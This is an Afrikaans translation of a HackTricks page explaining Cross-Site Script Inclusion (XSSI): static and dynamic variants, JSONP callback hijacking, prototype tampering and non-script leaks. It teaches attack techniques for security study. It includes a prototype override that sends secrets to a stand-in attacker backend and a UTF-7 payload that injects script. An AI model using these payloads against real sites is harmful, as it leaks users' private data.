# XSSI (Kruiswebwerfinskripsie)
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
## Basiese Inligting **Kruiswebwerfinskripsie (XSSI)** is 'n kwesbaarheid wat voortspruit uit die aard van die `script`-etiket in HTML. In teenstelling met die meeste hulpbronne, wat onderhewig is aan die **Gelyke-Oorsprongbeleid (SOP)**, kan skripsies ingesluit word vanaf verskillende domeine. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehuisves word, te vergemaklik, maar dit stel ook 'n potensiële veiligheidsrisiko in. ### Sleutelkenmerke van **XSSI**: - **Oorskryding van SOP**: Skripsies is vrygestel van die **Gelyke-Oorsprongbeleid**, wat hulle in staat stel om oor domeine ingesluit te word. - **Data-uitlê**: 'n Aanvaller kan hierdie gedrag uitbuit om data wat gelaai is via die `script`-etiket te lees. - **Impak op Dinamiese JavaScript/JSONP**: **XSSI** is veral relevant vir dinamiese JavaScript of **JSON met Opvulling (JSONP)**. Hierdie tegnologieë gebruik dikwels "omgewingsgesag" -inligting (soos koekies) vir outentisering. Wanneer 'n skripsieversoek na 'n ander gasheer gestuur word, word hierdie geloofsbriewe (bv. koekies) outomaties ingesluit by die versoek. - **Uitlek van outentiseringsleutels**: As 'n aanvaller 'n gebruiker se webblaaier kan mislei om 'n skripsie van 'n bediener wat hulle beheer, aan te vra, kan hulle moontlik toegang verkry tot sensitiewe inligting wat in hierdie versoek ingesluit is. ### Tipes 1. **Statische JavaScript** - Dit verteenwoordig die konvensionele vorm van XSSI. 2. **Statische JavaScript met outentisering** - Hierdie tipe is onderskeibaar omdat dit outentisering vereis om toegang te verkry. 3. **Dinamiese JavaScript** - Behels JavaScript wat dinamies inhoud genereer. 4. **Nie-JavaScript** - Verwys na kwesbaarhede wat nie direk met JavaScript verband hou nie. **Die volgende inligting is 'n opsomming van [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Kyk daar vir verdere besonderhede. ### Gewone XSSI In hierdie benadering word privaat inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlesing, sleutelwoordsoektogte of regulêre uitdrukkings te gebruik. Sodra dit gevind is, kan die skripsie wat privaat inligting bevat, ingesluit word in skadelike inhoud, wat ongemagtigde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n uitbuitingstegniek word hieronder getoon: ```html ``` ### Dinamies-gebaseerde-JavaScript-XSSI en Geauthentiseerde-JavaScript-XSSI Hierdie tipes XSSI-aanvalle behels vertroulike inligting wat dinamies by die skrip gevoeg word as reaksie op 'n gebruiker se versoek. Opstel kan uitgevoer word deur versoek te stuur met en sonder koekies en die antwoorde te vergelyk. As die inligting verskil, kan dit dui op die teenwoordigheid van vertroulike inligting. Hierdie proses kan outomaties gedoen word met behulp van hulpmiddels soos die [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-uitbreiding. As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat gebruik word in Gewone XSSI. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie kaap om die inligting te onttrek. Dit kan gedoen word deur óf globale objekte te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer: ```html ``` ```html ``` Vir veranderlikes wat nie in die globale naamruimte woon nie, kan *prototipe-versteuring* soms uitgebuit word. Hierdie tegniek maak gebruik van JavaScript se ontwerp, waar kode-interpretasie die prototipeketting deurloop om die geroepte eienskap te vind. Deur sekere funksies, soos `Array` se `slice`, te oorskryf, kan aanvallers toegang verkry en nie-globale veranderlikes uitlek: ```javascript Array.prototype.slice = function(){ // leaks ["secret1", "secret2", "secret3"] sendToAttackerBackend(this); }; ``` Verdere besonderhede oor aanvalsvektore kan gevind word in die werk van Sekuriteitsnavorsers [Sebastian Lekies](https://twitter.com/slekies), wat 'n lys van [vektore](http://sebastian-lekies.de/leak/) onderhou. ### Nie-Skripsie-XSSI Takeshi Terada se navorsing stel 'n ander vorm van XSSI voor, waar Nie-Skripsie-lêers, soos CSV, oor grense heen uitgelek word deur as bronne in 'n `script`-etiket ingesluit te word. Historiese gevalle van XSSI, soos Jeremiah Grossman se aanval in 2006 om 'n volledige Google-adresboek te lees en Joe Walker se 2007 JSON-datalek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanvalvariant wat UTF-7 gekodeerde JSON betrek om die JSON-formaat te ontsnap en skripte uit te voer, wat effektief is in sekere webblaaier: ```javascript [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] ``` ```html ```
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.